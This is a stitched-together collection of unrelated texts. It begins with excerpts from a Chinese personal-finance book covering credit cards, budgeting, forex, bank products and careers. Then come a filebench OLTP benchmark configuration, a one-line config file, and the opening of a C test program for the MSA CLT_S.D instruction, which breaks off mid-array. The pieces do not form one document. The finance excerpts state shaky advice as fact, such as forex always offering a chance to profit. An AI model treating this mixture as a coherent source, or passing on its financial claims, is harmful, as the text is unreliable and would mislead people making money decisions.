- 8.买卖外汇,其实没有那么难
- 9.期货期权,赌徒的信条
- 12.银行理财品,求一个心安理得
- 第七章 处理好生活就是一种理财
- 后记 财富眷顾有行动的人
<!-- /MarkdownTOC -->
# 我最需要的理财常识书
王华
## 第一章 理财不仅是一种行为,更是一种态度
理财不是投机,而是一种实实在在的生活态度,用心生活,就会发现理财的好处——根据每个人的家庭和财务状况,将资产进行合理规划,让资产长期、稳健增值,达成人生中的各种目标,实现财务自由!它可以让辛苦赚来的钱增值,抵御通货膨胀;也可以为自己储蓄足够的钱去享受退休养老生活。理财不仅仅关系到财富,还关系到你在面临抉择时该如何作决定。
### 1.让短期的流动资金成为你的长期投资
理财的意识对你的重要性,比你会背几个公式、懂得股市运行方式都要重要。这是学会理财的第一要诀,也是生活中“理财”的重要原则。
首先,我们必须接受的一个重要理财观念是:用长期平稳的心态进行理财得到的收益往往比用浮躁而焦虑的心态得到的收益更高。
你必须考虑较投入的资金与产生的回报之间的关系,而如何使“投入产出”最大化,正是投资理财追求的最基本目标,也是我们必须具备的理财意识。
### 2.通货膨胀,警惕这只偷走你财富的“小恶魔”
事实上,“利息”就是今天的钱和明天的钱之间的价值差,今天的钱比明天的钱更值钱的原因就在于“时间”。经过一段时间之后,今天的钱可以变成明天更多的钱。保住今天“更值钱”的现金,去花银行的钱,这本身就是一种理财,为什么不做呢?
### 3.能让你躺着也赚钱的神秘武器——复利
在理财中,复利是这样一个强大的武器,也是把高效的标尺。中国的德银财富管理公司就坚定地认为,投资理财最核心的盈利模式、财富增长最大的钥匙就是复利增长。
即使最微不足道的财富,都要用绝对谨慎的态度来进行打理。
### 4.你不计较生活,生活就会来计较你——算算你的生活成本有多少
同样的时间,每个人都要选择利润最大的工作,才算符合理财的意义。
那我们管这种成本叫作机会成本,经济学上的严格定义是:为了得到某种东西而需要放弃的另一种东西的最大价值。
举个例子,有朋友请你吃饭,表面上看你根本没掏钱,没有成本,不吃白不吃,但实际上是有各种各样的成本的。其中最重要的就是时间成本,赴约是需要付出时间的,而有这个时间你可以干工作、休息、看看书或者做做运动,这些就是你去参加这个宴会所需要付出的成本。越是名人,时间成本越高,吃饭的成本也就越高,这就是为什么请巴菲特吃一顿饭,还需要给他262万美元,人们还那么“贱”地去疯抢。
在生活中,我们会面临着各种各样的选择,这种选择很多也是来自投资理财方面的。在作出选择时,一定要考虑到这项选择的机会成本,要比较各种机会成本的大小。只有当选择的方案收益大于其机会成本时,这个方案才能说是正确的。 所以,机会成本对我们每个人来说都是非常重要的,只有充分地考虑到机会成本后,才能让我们的选择更加明智。
### 5.对沉没成本的处理,关系你的一生
已经投资出去的钱,本来想要有较好的收益,却在后来发现由于情况改变或者更多的消息证明,投资已经不值得了。那你是因为害怕之前的投资被“浪费”而继续坚持甚至投入更多的钱,还是坚决地砍掉这部分投资,把钱再投入到其他地方呢? 经济学家告诉我们,对于这种叫作“沉没成本”的东西,我们在继续理财时根本没有必要考虑它!
对于我们来说,沉没成本也是理财中必须考虑的一个环节。我们来到股市,那些机构的忽悠者口中经常会提到一个“鳄鱼法则”,如果有一只鳄鱼咬住你的脚,你试图用手挣脱,结果必然是鳄鱼会同时咬住你的手和脚,你越是挣扎,鳄鱼咬掉你的就越多。这就是说,如果你沉浮股海,发现自己买的股票背离了市场的方向,产生了亏损,就必须马上停止买进或者持有,毅然放弃,不能有任何延误,不要存在任何的侥幸心理。这听起来异常残酷,大有壮士断腕的气概,但你如果不想沉没,断就断吧。
这听起来很残忍,但我还是想改造一句话:理财,要对自己狠一点。
### 6.信用卡让你离富翁梦越来越远
我们究竟该如何对待手里的信用卡?答案是,让信用卡变成你的工具,而不是让你变成信用卡的奴隶!也就是说,在使用信用卡时,绝对不能让卡控制你的消费欲望,自己一定要守住几条底线。
首先告诉自己,绝对不能用信用卡提现。 有很多银行,对于信用卡透支取现,不分本地异地,一般都要收取3%左右的手续费,最低为30元;除此之外,从取现当日起,银行就开始收取每天万分之五的手续费,折合年利率为18%。虽然一般银行都会在合约中对取现利率进行明确标注,但是大多数人都不会在意,而是任意地选择取现透支,以为几十块钱只是个小数目,岂知积少成多,一旦养成习惯,就是个大问题。
你可能会说,不取钱,那就刷呗。可以这么说,但一定要记住:绝对不能刷爆信用卡! 虽然很多信用卡都在合约中注明,超出信用卡额度的部分是需要收超限费的,但我相信还是有太多的人对“超限费”并不了解。根据央行的规定,银行可以将信用卡刷卡消费的最高额度控制在预先设定的信用额度的110%。如果信用卡的授信额度为10000元,那么这张卡最多可以刷卡消费11000元。但需要注意的是,对于超出信用额度刷卡消费的1000元,银行会收取一定比例的超限费。“超限费”就是在持卡人超过信用额度用款时,银行对超出信用额度部分按比例收取的费用。而且“超限费”不享受免息还款及最低还款的优惠,需要在还款时一次性缴清。大部分银行的超限费用是按照超限金额的5%来收取的,未还完款项的日利息大部分为5‰。
另外,坚决不能只还最低还款额,或者到期有未还欠款,这也是使用信用卡时一定要坚持做到的。说得明白点,就是要养成习惯,不管有多困难,都要坚持到期全额还款。
总之一句话,刷信用卡可以,但是多向银行交一分钱,则绝对不可以!只要你能坚守这些底线,摆脱“卡奴”形象,让信用卡变成自己的工具,甚至是变成自己的“奴隶”,是完全可以做到的。
事实上,可能很多人不知道,这个“奴隶”一旦用好了,还能做好多事。 比如,可以让信用卡变成账本。现在很多商场、超市、餐厅都有刷卡机,我们可以在外面消费时,尽量使用信用卡,通过每期银行寄过来的信用卡账单,来审视自己的消费习惯。因为账单中会罗列出自己的消费细节,根据上面的消费记录,逐渐掌握哪些费用是必要的,哪些是不必要的,从而养成“开源节流”的习惯,让存款慢慢地积累起来。
再比如,利用信用卡作为缓冲,规范自己的投资。 我们知道,每个月将一部分收入拿来做投资是一个非常好的理财习惯,但是现实中由于每个人的收入都是有限的,难免某个月支出比较多。这时,停止一个月的投资就难免前功尽弃,不停止又需要钱急用,怎么办? 这时,利用信用卡的还款期就是个非常巧妙的理财方法。 信用卡一般都有40—56天不等的免息期,在此期间,可以先用信用卡来维持日常消费和急用,而把自己的收入用到投资上。如此一来,生活、投资两不误。而且一旦消费压力减缓,还能把更多的收入用到投资上。不过,要谨记,必须在还款日前全额还款,这样才能享受免息期,达到理财目的。
当然,如果能把握好优惠活动以及消费积分,还能创造出信用卡的额外价值。 银行为了提升本行信用卡的竞争能力,一般会推出各种各样的优惠活动,比如免费看电影、团购、出外游玩等等。所以平时可以关注这方面的消息,等到确实是家庭消费所需时,就果断出手,从而让消费更加划算。当然,对于那些看似优惠,但不切实际的消费内容,一定要保持高度的警惕性,不要让脑袋一时发热,超出自己的消费范围。
我们知道,中国银行的存款利率一直都是比较高的,如果能让自己的收入在第一时间就变成定期存款,这对于很多年轻人来说,不啻为一种投资理财方法。所以,每个月在留下足够的应还额度外,不要留太多现金,只要能应付足够的家庭开支就行,其他则尽可能用信用卡消费,把剩余的钱都存到定期账户中去,慢慢你会发现自己的钱越来越多。 境外刷信用卡,还可以免除货币转换费。现在的货币转换费一般为2%,如果你到银行用现金买入外币,再到国外消费的话,不仅不安全,而且难免会有不小的费用支出。但如果用信用卡消费的话,银联只会按照规定的汇率进行货币转换,而不会收取2%的货币转换费。由此看来,信用卡本身确实是一种工具,重要的是用户怎么用,坚守住原则,把信用卡变成“奴隶”,就能实现不小的增值。
乍一看,分期付款不需要交利息,很多人就以为有大便宜可占,实际上,世界上哪有人能算计得过每天的工作就是算计钱的银行呢?没有利息,但别忘了比利率还高的手续费率!真实情况是,贷款还是比信用卡分期付款便宜。
### 7.记账是个万灵药,夫妻感情都能好
记账的第一目的,就是让你能够掌握自己或整个家庭的收支情况,清楚地看到自己一个月赚了多少钱,花了多少钱,也能看到每笔钱都是怎么花出去的,知道哪些钱是维持日常开支所必需的,而哪些钱又是可花可不花的。只有了解自己所有的经济状况,才能决定每个月应该花多少,还有哪些是可以省下来作为投资用的。
有没有正确的记账方法呢? 当然有了。记账不能只是简单地记流水账,要向会计学两手,起码得分一些账目科目、类别,这倒并不是要求账记得一定要像会计那么专业,而是说分门别类的记账才对理财有帮助。
会计学中有个重要术语——“复式记账”,简单来说,就是既要记下收入,也要记下支出。记账时,要分成收支两项,每项里也要细分,比如简单的就要分成:衣、食、住、行、娱乐、教育、其他等等。另外,除了分类,也要尽量把每一个项目细化。
理财是一个长久的活动,所以我们要有长久的打算、坚定的信心,这就要求我们在记账的时候能做到连续不断。绝对不能一时心血来潮记两笔,明天心情低落,就将记账的事情放到一边。这样做,你永远也掌握不到你的财务状况。
### 9.花钱也要花得有技术含量
总之一句话,花钱消费第一是买用途,第二考虑心理的舒适度。为了小便宜而选择有质量问题的产品,必然会影响心情。其实,从今天开始,为自己树立一个消费理念:你要买的东西是否用得着?是否真的用得着?
只要你能够记住消费的两个原则——用途和使用频率,你就会慢慢变成一个会花钱的精明人了。
### 10.银行也可能忽悠你——理财产品陷阱大公开
即使是“保本”投资,也是风险重重。 第一是系统风险。要知道,不同类型的投资理财产品只是投资方向的不同而已,股票型投资产品主要将资金投入到股票方面,风险大,可能得到的收益也大;保本型理财产品,银行主要将资金投入到债券、国库券方面。但是如果碰到整个国家经济不景气,债券、国库券收益大跌,也有可能引起理财产品的收益降低。或者其他比如战争、国家政策的变动等,都会影响到理财产品的收益,这都叫作系统风险;第二是我们经常会遇到的利率风险。中国人民银行使用比较低的存款利率时,如一年定期存款利率为3%多一点,其推出的理财产品年化收益率也会相应降低,比如4%这个最高利率,还是比银行存款利率要高。但是如果银行存款利率升高,高于理财产品利率时,理财产品就要承担比银行定期存款收益率低的风险; 银行理财产品中还有一种不保证本金和收益的非保本浮动收益型产品。这种产品的投资渠道,存款占很小一部分,大部分是用于委托证券公司将产品投入到股市或基金市场。如果股市或基金市场震荡下跌,投资者会面临既亏损本金又亏损收益的风险;
第三是汇率风险。有的理财产品宣传点是保证本金、风险自担,运作方式是将大部分资金投入国际债权市场,小部分投入股票或者基金或者黄金期货进行炒卖。国内很多专门的理财公司、证券机构、投资公司都有类似的产品。近两年的股票市场不是很好,投资难度比较大,这就意味着如果投资这样的产品,很可能会面临巨大的风险。除了上面的风险外,还有人为风险。比如,银行人员在运作该投资产品时出现错误或投资方向出现误差导致亏损。
### 11.想要日子过得好,就要避开理财误区
记住,理财永远都是在调整自己的幸福结构! 金钱对于每个人、每个家庭来说固然重要,难道健康、团圆、美满、开心,所有这一切就都比不上金钱重要吗?我们必须清楚:金钱只是工具,如果我们把财富看成一个多元函数、把理财看作一个多元函数的方程的话,金钱仅仅是这个函数和方程中的一个变量而已!它并不能决定整个财富函数满足财富方程的平衡。为追逐一个变量(比如金钱达到100万元)而牺牲其他变量(比如健康出现问题而花费50万元,家庭产生矛盾等于消耗50万元),你理财的方程永远无解,答案永远错误!
投资理财,一定要记住三个“自”:自主决策、自担风险、自享收益。如果听从了别人的建议,跟随别人去投资,即使吃亏也不能怪别人。
股票主要追求的是高收益,同时也伴随着高风险,所以千万不能把股票当作一种存钱手段;定期存款是保障存款的安全性;活期或短期存款是保证资金的流动性;而保险则更侧重于保障。我们平时购买理财产品时,一定要分清主次,分清侧重。
### 1.什么都会贬值,能力不会
处处留心皆学问,只要肯为自己投入时间、精力和金钱来学习和提升,能力是绝对不会贬值的。而且有时,即使是最不愿意学的东西,一旦学了,也说不定以后什么时候就能用上。所谓“技不压身”,就是这个道理。
### 3.把工资条变成你的理财小帮手
美国有一句著名的谚语:“无论你的收入是多少,记得要将其分成5份。”这句话的内涵值得回味。 那么,收入分成5份,怎么分? 第一份增加对身体的投资,让身体始终健康;第二份增加对社交的投资,扩大人脉;第三份用来投资学习,增强你的自信心;第四份用来旅游,扩大你的见闻;第五份用来投资未来,增加你的收益。
在哈佛大学流行的一个著名理论:人的差别在于业余时间,而决定一个人命运的时间是晚上8点到10点之间。如果你可以每晚抽出两个小时来进行阅读、进修、思考或者参加有意义的演讲、讨论,你就会发现,你的人生在逐渐地改变;如果你能坚持数年,那成功就会向你招手了。
其实,对于不同人生阶段的人,理财的侧重点是不同的,要结合自己年龄的特点,选择合适的理财方式,把自己的工资分配到不同的侧重点上。25岁之前的年轻人,刚走上社会,还没有结婚组建家庭的压力,这个时候,最重要的是提升自己,将大部分收入用在教育、培训方面; 25—30岁的年轻人,大多处于结婚阶段,压力比较大,每个月需要的支出比较多,但一定要将自己的工资主要集中在固定资产方面,房子够首付就马上出手;车的话,如果是像北京这样交通拥堵的城市,用车的时间成本和其他成本(比如天价停车费)相对较高,能不买就不买。特别奉劝那种有类似于“周末和朋友可以有个车出去游玩”这种无效利用率的幼稚想法,或者“咱同学谁谁谁都买车了,咱也买”这种盲目攀比的低级想法的年轻人,还是打消买车念头的比较好。买个车,交通拥堵,只周末开两天,而一周七天都在时刻贬值,除非是个傻子才这样做。还不如把这些钱连同剩余部分,做一个长期存款,既能减少风险,又能保证每个月的支出;
对于30—35岁的人,收入有所增加,房贷每个月不变,即使有小孩也还小,压力不大,可以将多余的收入投入到股票等风险较大但收益也较大的项目上;而35—50岁的人,最大的压力来自子女教育。金钱压力比较大,不过一般这个阶段的人收入也处于较高水平,可以考虑债券,能保证基本的收益,也不至于有太大的风险;50—60岁阶段的人,一般没有了子女教育的问题,有较多的收入,面临的最大压力来自退休后的生活,这时候可以将收入用来买保险以及国债等安全系数比较高的投资产品;对于60岁以上的老年人,收入减少,只剩下退休金,最重要的就是要保证资金的安全性,最好将所有存款放在银行,而对于股票这种高风险的投资就尽量不要碰。
### 4.想要一本万利,那就投资人脉吧
事实上,吝啬绝对不是我们的理财目的,更不是我们的理财方法。我们可以对自己吝啬,但是在外面与朋友交往时绝对不能吝啬,因为从朋友身上省下来的钱真是得不偿失。从现在起,你要建立一个信念:朋友也是你的一项重要存款!选择正确的朋友,并和他们建立良好的关系,你会得到意想不到的好处。俗话说:“朋友多了路好走。”朋友也是你的一项投资,是你理财的重要一环。
朋友关系是需要维护的,我相信,每个人即使精力再旺盛,能够维持的所谓的“铁哥们儿”也超不出10个。而我们把朋友视为一种投资,也需要选择出真正能帮助自己的那几个做长期投资,而不是泛泛地与很多人交往。
投资朋友,说起来容易,实际做起来却是另一回事,对于不同的人要有不同的方法。有人认为,维护朋友关系嘛,不就是经常请吃个饭、喝个酒,多在朋友身上花点钱。诚然,结交朋友是要花钱的,不过恐怕酒肉朋友,根本没有什么感情吧?朋友之间,除了金钱上的来往,更重要的是要以诚相待、急人之急、想人所想,否则,一旦遇到什么麻烦或者有什么问题需要解决,酒肉朋友一定不会为你百分之百地付出。 也就是说,交朋友千万不要本着让他帮你的目的。朋友是一种和吃饭睡觉一样的人类的天性需求,就像我们常说“忙得死去活来,不就是为了一口饭”的道理一样,没有朋友,你必然会有一种“饥饿感”。维护朋友就和吃饭解决饥饿感一样的自然,不过是解决你另一种天性需求——孤独感。所以,交朋友的目的就是“交朋友,不孤独”,就这么简单!他帮不帮你是他的事,你交不交就是你的事了。带着让他帮你的目的去结交朋友,你交到的顶多是朋,而不是友!也许,投资朋,能帮你;但是,投资友,他能发现你!
### 1.工作,也是自我累积的过程
现实生活中,没有任何一种理财产品可以让你的财富没有风险、稳定而快速地增长,你想达到这个目的,只有一种方式:那就是工作。我们一天工作8个小时,每天会把三分之一的时间用在工作上,而工作的收入对于大部分人来说都是生活的主要来源,这对于我们的理财和生活具有重要的意义,值得我们严肃对待。
每个人的工作,都是通过劳动,运用自己的知识、技能、经验、能力创造出价值,从而获得工资和提成。但是,很多人忽略了一点,工作其实也是一个对自己的经验、能力、知识、技能进行投资的过程。
老板从员工身上得到了价值,但是员工在为老板工作的同时,也让自己的人力资本得到了提升,使自己得到了“升值”。很多人都没有意识到这点,这是非常可惜的。
### 2.跳槽跳不好,荷包缩水一大半
当初外企刚刚在中国兴起的时候,“跳槽”成了当时白领们的时尚,稍不如意就“炒了老板”,看似潇洒自如,结果很多人在经历了十几年的职场轮回后,发现自己再也升不上去了,而升不上去的主要原因就是随意频繁的跳槽经历。但是,自己走的路是谁也不能更改的,这就是随意跳槽的代价。 时代的发展、社会的进步,给职场人带来了较大的自由空间,我们作为职场人,应该珍惜这种自由,而不是浪费它。很多职场精英嘴里常常说着“想发财就要跳槽”,不知道珍惜现在的工作,稍不如意就跳槽。这不仅仅给公司带来低效和混乱,更重要的是在个人经历上添上不好的一笔。 随意频繁的跳槽经历会给人高度自我和忠诚度缺乏的印象,试想,哪个公司愿意要一个没有责任感,很可能不知道什么时候就从自己公司跳走的人?工作经历是我们每个人一笔很好的财富,一定要认认真真地对待它。职场收入是我们一生最主要的收入来源,非常值得我们认真对待,如果你想有个“富足”的人生,就必须审慎地对待每次跳槽。
在跳槽之前,你可以好好地问自己几个问题,来仔细审视一下这次跳槽的决定是否应该作出:是什么让你不满意现在的工作了?你想跳槽是经过慎重考虑,还是一时兴起?有没有尝试过自我调节?跳槽本身会让你得到什么,失去什么?适应新的环境,建立新的人际关系需要投入大量的精力,你有信心吗?你的工作经验和能力能胜任新的工作吗?你是为了生活而工作,还是为了工作而生活的?你有没有清晰的职业目标?下一个工作是不是让你更加接近目标了?征求过别人的意见吗?有没有把你的想法和别人好好谈谈?
### 3.面子是浮云,底子才是真
在商界甚至还有一个说法:“隔行不取利。”即不属于自己所在行当的生意,即使利润再大也最好不要去。再小的行当,能干得风生水起也是很不容易的,关键是找准自己的强项。所谓“兴趣是幌子,面子是浮云”,能打好财富的底子,让自己积累财富才是最应该考虑的。
### 5.掌握了这些,高薪不是那么难
如果想提高收入,就要提高自己的核心竞争力,当然最重要的应该是你的工作能力。但很多时候,如果你觉得自己的收入水平比起能力来说很不匹配,那就要考虑是不是有什么其他方面的因素影响到了加薪。比如,为人处世的态度。
从内在因素上来说,你可以从几个方面来考虑如何通过努力为自己赢得加薪。 首先,对老板来说,考虑一个员工最重要的因素也许并不是能力,而是敬业。几乎所有的高薪收入者都会说,敬业是他们成功的重要素质。一位海外留学者甚至说:“如果你想获得高薪,那么最好24小时都在考虑工作的事情。”敬业到底有多重要呢?敬业是一种长线理财,可以让你变得不可替代,薪水自然能得到提高。
还有,不管你的工作能力有多强,整个公司的运营是需要大家一起努力才行的,公司需要的并不是个性突出的有才华者,而是能融入到集体中、和大家一起工作的人。因此,低调而融洽的同事关系,是你升职加薪的又一要素。几乎所有的高收入者,都在处理人际关系上颇有心得。杨澜曾经说过,她在采访克林顿时能感受到他来自全方位的关注。比如当克林顿走到摄影棚时,和在场的所有人,包括摄影师以及清洁工都握了手。
当然,我们一定要记住,掌握技能不仅仅是为了薪水,得到锻炼的机会比薪水更重要,只有在得到机会之后,才能充分发挥自己的才能,才可以让人看到你的优势,从而获得更高的薪水。同时,你还能不断地学习,提高自己,积累更多的知识和经验,为下一次加薪作准备。
### 2.学学巴菲特,滚个财富大雪球
存钱不在乎一次性存多少,而是要坚持,“积小流可以成江海,积跬步可以至千里”,重要的是养成存款的习惯并保持下去。
### 3.黄金是个好东西,但不懂套路会“坑爹”
黄金投资虽然有很多优点,但也有缺陷:会占用大量现金,并且很难在短期内取得利润,所以,如果你坚定自己的某一款项是在比较久的将来才会支出,实物黄金投资是个不错的选择。不过如果你只是看中黄金的短期交易,想要快速地买卖黄金达到较高收益的目的,那最好选择纸黄金进行在线交易。而在选择投资实物黄金时,也要认准比较大的金店、银行进行投资,因为黄金的鉴定技术比较复杂,选择有信誉的机构购买黄金,可以避免不必要的纠纷。
### 5.别让你的公积金躺在银行睡大觉
其实,在建房、装修甚至是租房的时候都可以提取公积金。另外,有人买房时凑首付,想当然地把公积金先算进首付里了。事实上这是办不到的,要使用公积金必须先消费、后提取,也就是要自己先掏腰包垫上之后,才能去公积金中心提取。至于那些认为公积金总额可以随心所欲提取的人,就更是没有常识了。按照规定,公积金提取总额不能超过购房的总价款。如果有人买了套100万元的住房,即使他的公积金账户上有120万元的余额,最多也只能提取到100万元。
### 6.股票,别上瘾就好
股票是一种风险投资。 如果你选择的股票,因为公司的业绩比较好,受到大多数投资者的追捧,价格就会上升,你就会得到收益;相反,如果选择的股票因为公司业绩差,不被投资者看好,没有人愿意买这只股票,就会产生亏损。 从这个原理上我们可以看出,股票价格的涨跌,长期来说是受公司业绩影响的,但短期来说确实由供求关系来决定。所以有经济学家就说:“对明天股票价格涨跌的预测,还不如你随便蒙上眼用针刺到一只股票来得准。”经济学家虽然发明了那么多对股票价格预测的方法,但是用这些方法进行预测还没有你随便选择一只股票涨的可能性大。由此可见,股市中充满了风险,而面对这些风险,我们的心态是最重要的,甚至可以说:炒股炒的就是心态。
### 8.买卖外汇,其实没有那么难
外汇,其经济学定义是,一个国家的货币兑换成另一个国家的货币,也可以称之为货币兑换率。 通俗解释就是:由于每个国家使用的货币不同,所以当一国与其他国家有贸易、投资、旅游及其他形式的经济往来时,就需要使用不同的货币进行支付。在国外进行支付时,就需要将本国货币兑换成外国货币,在收到对方支付的外国货币时,就需要把它兑换成本国货币,才能在国内进行流通。正是由于这样的对不同货币的需求,从而产生了货币兑换的关系,也就有了外汇市场。
外汇市场有几个比较显著的特点,掌握了这些特点,对我们出入外汇投资市场的人来说,是非常有用的。
第一,24小时开放。与中国的股市只在上午9∶30—11∶30、下午1∶00—3∶00开放不同,外汇市场是24小时开放的。股市或者期货集中在交易所进行,如果在闭市期间市场上出现了什么消息,投资者不可能马上买卖股票,便会出现低开、高走等现象,对投资者来说这是一种损失。外汇市场24小时开市有效地避免了这种风险。
第二,交易品种简单。股票市场上的股票类型成千上万,外汇市场上,只需要关注几种主要货币以及它们之间的汇率就成,比如,美元、日元、欧元、澳元等,这些主要货币占了整个市场90%以上。
第三,交易成本低。外汇市场交易成本极低,股票市场上有佣金、印花税、过户费等费用,而外汇市场上所需的费用只是买卖外汇时交给交易商的差价,这个一般只有千分之一,还是比较低的。此外,在纯粹电子交易平台上,交易者可以和“庄家”直接进行交易,省去了标价和中间人的费用,进一步降低了交易成本。
第四,外汇市场相比其他市场更加地公平。外汇市场的每日成交额巨大,相当于现在期货市场的4倍,它是全球最大的金融市场,同时也是流通性最高的市场。就是由于如此庞大的市场容量,使得很少有人甚至没有人能操纵外汇市场。
第五,牛市、熊市都能获利。你在买入一种货币的同时,必然会卖出另一种货币,一种货币出现下跌的时候,相对的另一种货币必然会上涨。因此,外汇市场上没有牛市、熊市之分,总会有机会获利的。
第六,杠杆比例,放大资金。比如你想买入10万美元,如果没有杠杆比例,就必须拿出10万美元的现金才行。现在外汇市场允许你出一定的保证金,即可进行交易,不需要真的拿出那么多钱。如果杠杆比例是100倍,那么交易10万美元,就只需要自己拿出1000美元。这一比例远高于期货市场,能让人用最小额的投资,获得最大的收益。不过,需要说明的是,运用杠杆比例的保证金制度是一把双刃剑,也能让你迅速亏本。
### 9.期货期权,赌徒的信条
如果你的资金实力并不是那么强大,那么理财师给你的一个建议就是:千万不要进入期货市场。期货市场由于其专业性强、风险大的特点,对于普通理财者来说,并不是个投资理财的理想场所。
### 12.银行理财品,求一个心安理得
现在商业银行推出的理财产品种类繁多、名目多样,我们必须对其进行透彻了解,才能选择适合自己的理财产品进行投资。对于银行理财产品的分类,按理财产品收益类型可以分为:保本保证收益型、保本浮动收益型以及非保本浮动收益型。
保本保证收益型产品,是一种投资者在到期日可以获得100%的本金并且能得到一定的预期收益的产品。很显然,这类产品适合保守型的投资者。
保本浮动收益型产品,是指投资者在理财产品到期日可以获得100%的本金,但是所能获得的收益得不到保证的产品。这类产品适合稳健型的投资者。 非保本浮动收益型产品,是指银行不保证投资者在到期日能收回100%的本金的产品。投资者可能损失部分本金,也可能损失掉全部本金,产品收益也不确定。这类产品适合有一定风险承受能力的投资者。
目前,随着银行金融产品设计能力的提高,银行理财产品中出现了部分保本理财产品,比如90%保本,指的是投资者在到期日可以至少获得90%的本金。另外,理财产品还可以按照投资标的来分,比如银行在你购买产品之后,替你在债券、信贷资产、大宗商品、股票、指数、汇率、混合类以及另类投资等领域进行专业打理。
债券类投资产品指的是以国债、金融债、企业债、央行票据为主要投资方向的理财产品,这类产品的风险相对来说比较低,收益也相对较低。
信贷资产类理财产品指的是银行将理财产品募集到的资金委托给信托公司,信托公司在此基础上制订信托计划,把这些资产再投资到其他产品上。
股票类理财产品是将募集到的资金投入到股票市场,这类理财产品的风险比较高,但相应的收益也比较高。
大宗商品类理财产品主要与大宗商品的期货挂钩,目前市场上主要以与黄金、石油、农产品挂钩为主。 混合类理财产品是投资方向包含上述两种以上的组合投资理财产品。
还有一种产品叫作另类理财产品,它指的是传统投资理财防线以外的理财方式,比如红酒、白酒、翡翠、手表、茶叶投资等等。
不同的理财产品根据投资标的不同,具有不同的风险性,我们需要根据自己所能承担的风险,选择适合自己的理财产品。
现在理财产品的广告很多,都标榜自己有更高的收益率,那么选择理财产品时应该注意哪些呢?
第一,收益率。比如,广告中的收益率到底是年收益率还是累计收益率;购买的产品是否会代为扣税,而广告中的收益率到底是税前的收益率,还是税后的收益率。
第二,流动性。大部分理财产品的流动性都较低,客户一般不可能提前终止合同,所以,如果你的资金是近期需要使用的,那就要注意其变现能力,谨慎投资到理财产品中。现在有些产品可以提前终止或者可以质押,但是手续费一般较高。
第三,投资方向。大多数人在购买产品时不会询问产品的投资方向,只是问一下预期收益率就匆匆下单,以为这个产品是大的商业银行推出的,不会有问题。殊不知,理财产品的风险还是挺大的,如果出现了亏损,还是需要投资人自己埋单。所以,我们在购买理财产品时,需要知道募集到的资金是投入到哪个市场的,具体投资什么金融产品,这决定了该产品本身风险的大小,以及收益率是否能实现。
### 第七章 处理好生活就是一种理财
在增强理财观念的同时,我们也不得不承认:疾病、离婚、突发的意外状况都会增加我们的支出,甚至让我们辛辛苦苦积累的财富化为乌有,所以,我们必须对自己的生活投入足够的精力。更何况,一个良好的身体、一份美满的婚姻、一生的平安都是我们用金钱买不到的,这些本身就是我们巨大的财富。
### 后记 财富眷顾有行动的人
再次总结一下,本书所讲述的投资理财内容,简单来讲仅仅是4条法则,但这已足够,众多的财富故事都是这4条法则创造和演绎的,它们是:尽早法则、分散法则、平均法则、长期法则。
尽早法则,无需多说,建立理财观念越早、行动越早,你的财富效应就越能从时间和数量上显现出来。
分散法则,我们已经说过很多,如果你仍旧对此有所怀疑,不妨随我再加强一下: 你是否看到,决定你稳定获利的最重要的因素是什么?毋庸置疑,正是合理的资产配置,至于什么把握市场时机、选择理财产品等因素都是过眼浮云,不过是你未能遵守分散法则、未能合理配置资产,而导致理财失败的借口罢了。
对于平均法则,事实上是一个长期投资的耐力检验,是指在分散法则基础上投资时间的平均。平均法则告诉我们,心血来潮地投资,懒散地打理,只会让本属于你的财富离你远去。
至于长期投资法则,我们在前面也讲过不少了。长期投资是基于神奇而强大的复利,如果你还对复利心存疑惑,那我们再次加强一下:
| {
"pile_set_name": "Github"
} |
### filebench is a filesystem and storage benchmark that runs workloads
### specified using a Workload Model Language (WML). The intention is that
### an analyst can distil a production workload into a WML-equivalent and
### then execute it via filebench. It ships with a number of stock
### personalities.
###
### This configuration uses the filebench OLTP personality for a working
### set that is 2*RAM and uses buffered IO. The IO model should be similar to
### the Oracle 9i IO model and launches multiple reader, writer and logging
### processes. More can be read about the stock personalities at
### http://filebench.sourceforge.net/wiki/index.php/Pre-defined_personalities.
# MM Test Parameters
export MMTESTS="filebench"
# Test disk to setup (optional)
#export TESTDISK_RAID_DEVICES=
#export TESTDISK_RAID_MD_DEVICE=/dev/md0
#export TESTDISK_RAID_OFFSET=63
#export TESTDISK_RAID_SIZE=250019532
#export TESTDISK_RAID_TYPE=raid0
#export TESTDISK_PARTITION=/dev/sda6
#export TESTDISK_FILESYSTEM=xfs
#export TESTDISK_MKFS_PARAM="-f -d agcount=8"
#export TESTDISK_MOUNT_ARGS=inode64,delaylog,logbsize=262144,nobarrier
# List of monitors
export RUN_MONITOR=yes
export MONITORS_ALWAYS=
export MONITORS_GZIP="proc-vmstat top iotop"
export MONITORS_WITH_LATENCY="vmstat iostat"
export MONITOR_UPDATE_FREQUENCY=10
# filebench
export FILEBENCH_PERSONALITY=oltp
export FILEBENCH_ITERATIONS=3
export FILEBENCH_WORKING_SET=$((MEMTOTAL_BYTES*2))
export FILEBENCH_MIN_THREADS=1
export FILEBENCH_MAX_THREADS=1
| {
"pile_set_name": "Github"
} |
cluster: test
| {
"pile_set_name": "Github"
} |
/*
* Test program for MSA instruction CLT_S.D
*
* Copyright (C) 2019 Wave Computing, Inc.
* Copyright (C) 2019 Aleksandar Markovic <[email protected]>
* Copyright (C) 2019 RT-RK Computer Based Systems LLC
* Copyright (C) 2019 Mateja Marjanovic <[email protected]>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*
*/
#include <sys/time.h>
#include <stdint.h>
#include "../../../../include/wrappers_msa.h"
#include "../../../../include/test_inputs_128.h"
#include "../../../../include/test_utils_128.h"
#define TEST_COUNT_TOTAL ( \
(PATTERN_INPUTS_SHORT_COUNT) * (PATTERN_INPUTS_SHORT_COUNT) + \
(RANDOM_INPUTS_SHORT_COUNT) * (RANDOM_INPUTS_SHORT_COUNT))
int32_t main(void)
{
char *isa_ase_name = "MSA";
char *group_name = "Int Compare";
char *instruction_name = "CLT_S.D";
int32_t ret;
uint32_t i, j;
struct timeval start, end;
double elapsed_time;
uint64_t b128_result[TEST_COUNT_TOTAL][2];
uint64_t b128_expect[TEST_COUNT_TOTAL][2] = {
{ 0x0000000000000000ULL, 0x0000000000000000ULL, }, /* 0 */
{ 0xffffffffffffffffULL, 0xffffffffffffffffULL, },
